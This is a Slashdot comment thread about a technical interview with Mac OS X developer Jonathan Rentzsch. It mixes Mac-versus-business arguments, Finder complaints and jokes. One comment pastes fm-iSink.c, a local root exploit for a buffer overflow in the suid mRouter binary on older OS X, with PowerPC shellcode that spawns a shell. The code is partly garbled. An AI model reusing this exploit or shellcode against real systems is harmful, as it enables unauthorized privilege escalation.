Hacking Mac OS X
Bill Hamm writes "DB is carrying a deep interview with Jonathan Rentzsch, who created an open source technology to allow other developers to inject their code into any running process to alter its functions and written papers for IBM to program the PowerPC correctly. The interview is huge and technical, and all over the place in terms of content. Some of the things discussed are the reasons for corporate America's resistance to buying from Apple, software optimization, the importance and history of 10.4's Core Data, why WebObjects is no longer relevant, the status of PowerPC compilers, and why Mac OS X's Finder should be killed off."
The interview is huge and technical, and all over the place in terms of content.
A huge technical interview on Slashdot?
A guess that means no one will read it, but everyone has an opinion.
Nice comment, too:
The Army reading list
so long as you're going to argue by exaggeration and BS, then businesses have avoided Macs because they're run by retards and easily swayed by the herd instinct to go with Microsoft.
look at academics - Mac use there is enormous, because academics are intelligent enough to choose the best. they also use computers to do actual computer work, not just the occasional email and word document.
/*
l e/Contents/Resources/mRouter"
// Shellcode by b-r00t, modified by nemo.x 01\xc3\x38\x0a\xfe\xf4" \x f4\x44\xff\xff\x02" \x a6\x38\x63\x01\x60" \x fc\x38\x81\xff\xf8" \x 02\x7c\xa3\x2b\x78" \x 02\x2f\x62\x69\x6e" \
* fm-iSink.c
* overflow in mRouter, suid binary used by iSync, on OSX <= 10.3.7
*
* written by -( nemo @ felinemenace.org )-
*
* http://pulltheplug.org and http://felinemenace.org.
*
* Bug discovered by Braden Thomas. Exploit by nemo.
*
* -( need a challenge...? )-
* -( http://www.pulltheplug.org )-
*/
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#define VULNPROG "/System/Library/SyncServices/SymbianConduit.bund
#define MAXBUFSIZE 4096
char shellcode[] =
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\
"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\
"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\
"\x2f\x73\x68";
char filler[MAXBUFSIZE];
int main(int ac, char **av)
{
unsigned int ret = 0xbffffffa - strlen(shellcode);
char *args[] = { VULNPROG, "-v", "-a", filler, NULL };
char *env[] = { "TERM=xterm", shellcode, NULL };
memset(filler,(char)'A',sizeof(filler));
memcpy(filler+MAXBUFSIZE-5,&ret,4);
execve(*args, args,env);
return 0;
}
ENOUGH.
Slashdot, for one, has automated our new overlord welcomers.
taken! (by Davidleeroth) Thanks Bingo Foo!
A well known fact is a cracker is a white dude in his mid 20's that posts on slashdot and has never had a date.
"..and why Mac OS X's Finder should be killed off."
Precisely, one of the reason I find OSX so annoying to use; this 'Finder' assumes software is somehow lost already. A debilitating metaphor to say the least..
I am a semi-technical guy who talked almost all of his friends onto Automobiles. They are pretty much non-technical people and Horse and Buggys with reins was a perfect match for them. I am in the process of updating everyone's vehicle to automobile and No ONE likes the interface, with its knobs and dials and ugly design (only airplanes are uglier). Also, EVERYONE HATES THE RADIO and finds its default behaviour insulting. Not to mention that the way the blinker behaves makes it very hard for many people to use the blinker while changing lanes. I realize that there is always some resistance to change, but this goes way beyond that. I think we really messed this up by not thinking the design through. They are trying to make the interface do all things in many ways at the expense of the simplicity it used to have.
I can generate 60 GB of data in 4 hours.
Most places block those kind of websites at the firewall.
Where are you getting prepress software for free?